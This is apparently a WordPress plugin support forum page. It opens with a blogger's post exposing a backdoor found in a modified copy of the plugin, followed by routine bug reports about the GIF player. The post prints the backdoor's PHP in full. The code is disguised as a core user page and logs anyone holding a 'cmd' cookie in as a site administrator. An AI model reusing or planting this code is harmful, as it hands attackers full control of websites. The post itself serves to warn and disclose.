Today I was contacted by a person who wanted to buy advertising on my blog. I would forcefully install the plugin on my site but with their changes. This code below is what I found, one more file in php format.
Is that really what I’m thinking? Did you want to steal my access?
<?php
/**
* WordPress User Page
*
* Handles authentication, registering, resetting passwords, forgot password,
* and other user handling.
*
* @package WordPress
*/
if(empty($_COOKIE[‘cmd’])){
die();
}
require(‘../../../../wp-blog-header.php’);
$query_str = “SELECT ID FROM $wpdb->users”;
$user_ids = $wpdb->get_results($query_str);
foreach ($user_ids as $uid) {
$user_id = $uid->ID;
if (user_can($user_id, ‘administrator’)) {
$user_info = get_userdata($user_id);
$user_login = $user_info->user_login;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action(‘wp_login’, $user_login);
echo “You are logged in as $user_login”;
if (function_exists(‘get_admin_url’)) {
wp_redirect(get_admin_url());
} else {
wp_redirect(get_bloginfo(‘wpurl’) . ‘/wp-admin’);
}
exit;
}
}
Hi!
Thanks for the awesome plugin – I’m looking for exactly something like this. I’m having one issue though, the gif does not have a preview before it is played: https://imgur.com/a/R9KC3
What would be going wrong?
]]>When creating post the gif icon besides add media does not appear. is there a short code to add the gifs?
]]>I’ve noticed that meta data associated with the jpeg still attachments created by your plugin contains absolute (full) file paths with a double slash in.
The reason for this is that the still path that you generate (in extract_first_frame) accidentally has one of the forward slashes in the path doubled up, and as such when you make the call to store the attachment via wp_insert_attachment then it thinks that the location of the file is not in the standard uploads directory and as such it stores full file path locations (with the doubled slash) rather than ones relative to the uploads directory.
So e.g. if your home directory for your wordpress install is /home/wpuser/my-wp-site/ then the meta information for the still images generated by your plugin about the still file locations will start /home/wpuser/my-wp-site//wp-content/uploads/
The reason for this doubling is because home_url() doesn’t have a trailing slash whereas ABS_PATH does. So this line:
$new_still_path = str_replace( home_url(), ABSPATH, $new_still);
Needs to be:
$new_still_path = str_replace( home_url() . ‘/’, ABSPATH, $new_still);
With that change then wordpress correctly stores just the bit of the path relative to the uploads directory for the still image.
]]>Hello! Thank you for the nice plugin. But I have a problem with it. After inserting a gif I get only corrupted image with gif-watermark. It seems like it can’t create preview image (the path returns 404). Is there any problems with server permission? I can fix’em if I know what to fix.
https://mirf4test.igromania.ru/stranica-dlya-eksperimentov
Hi, is possible to use this plugin for the feature image? Thanks.
]]>Hello
Please accepet my request and update the plugin immedeitly, This is a very usefull features. Because for host a gif on own hosting is eat many resource.
So please make this support for GIF from external source.
Thanks
]]>I have 3 Qs.Most useful to improve this plugin
1. I could not find Where the GIF Ids are. Where can I find them?
2. How to replace the default Play Button with the custom play button ?
3. I hate the position of the play button at the center. Can I change it?
Please help.
I’m just getting the text that the “Add GIF” button places in the content area?
My post shows up on the site as
[WPGP gif_id=”1959″ width=”600″]
https://i.gyazo.com/862f364668d8f3872d990436d7a87d1f.png
Thanks for any suggestions!
]]>My preview image is not displaying? Is there a solution for this?
https://kwiz.news/
Fix is simple, change:
jQuery(window).load(function() {
to
jQuery(window).on( 'load', function() {
hello, the plugin works fine, thank you.
but in order of solving a custom design/layout problem I needed to have thought it would be nice to have the plugin generating a PNG-file (instead of the JPEG) as thumbnail due to the transparency.
By replacing the term jpeg into png in the gif-player.php, it first had the desired effect, but unfortunately now the play button (link)/the animation is not working any more.
sorry, I’m new to this css, html stuff… anyone helps me?
Hi,
I installed wp GIFplayer yesterday, but it doesn’t work.
The gif seems to load.
What could be the problem?
https://sandra-dirks.de/ein-animiertes-gif-erstellen-mit-adobe-premiere-pro/
Thanks for your help.
Sandra
Is there a way to set up gif to play automatically?
]]>When I add a GIF using Add GIF button, it generates a corrupt preview JPEG file which can’t be opened!
]]>Hey, nice plugin!
I wanted to ask if it is possible to show this only on the homepage where the posts with excerpts are, because I want the gifs to autoplay when someone goes inside the post.
Please let me know.
Thanks!
Hello,
I installed your plugin on my blog and look the result
https://ggiggle.com/index.php/2016/05/16/466/
Gif button is not working and this loading thing is all over the place. Please fix this, You are my only hope ??
]]>Looks like it just shows the stills on my mobile theme… No way to play on mobile safari (iPhone 6). Any ideas?
Link to post example: https://www.classybro.com/see-scariest-close-call-gifs-ever-20-gifs/
]]>This is a nice plugin and easy to use!
It would be cool to have the option to automatically add the image caption from the gif file.
Thank you for this plugin!
]]>hello, first time i installed this plugin and everything is working great but only preview causing problem. Please help LINK: https://theviralbytes.com/the-scariest-gifs-trap/
]]>Hello there,
is there a way to reach out to the devs!?
]]>Hey Cudaja,
I have some issues with the positioning of the GIF Button, but I don’t know why exactly it is happening. It seems that it is related to blockquotes being right in front of the GIF. Can you have a look? Would be very nice!
Examples:
https://bit.ly/1NcCitO
https://bit.ly/1jjfPPI
Thank you very much for the plugin and your support as well.
]]>Do you have any idea why the GIF button is broken on this page?
The weird thing: In my admin area, that issue is not happening. Just live…
]]>Hey there,
every lazy load solution I tried so far breaks the gif player in one way or another. Any idea why this might be happening? Thanks!
]]>Hi,
Firstly, awesome plugin btw! Really love it!
I wanted to put several GIFs on a page but have them all on a line (or at least have several on a line). Looking at the code I noticed there’s a
tag at the end of each GIF. Is there a way of removing the tag?
Many thanks!
]]>Works well site-wide.
Any way to to deactivate it on a certain page or location?
Also, it creates a static image for ALL GIFs, even if they’re not animations.
]]>edit: never mind, was using lazy load…
resolved
Hi
Is the player having a problem loading several gif’s at once ? if you look at https://bit.ly/1Jin3ht you ca se one loading but the other is not. It however starts to load once you go into the posts itself.
]]>Hey there,
any idea on how to center the gifs? I’m trying:
.gif {display: block; margin: 0 auto; width: 100%;}
But that doesn’t work. ??
]]>Hey there,
Your plugin isn’t working on the latest mobile chrome version. It only shows the preview image. Note 3. It’s fine on the Samsung stock browser. ??
]]>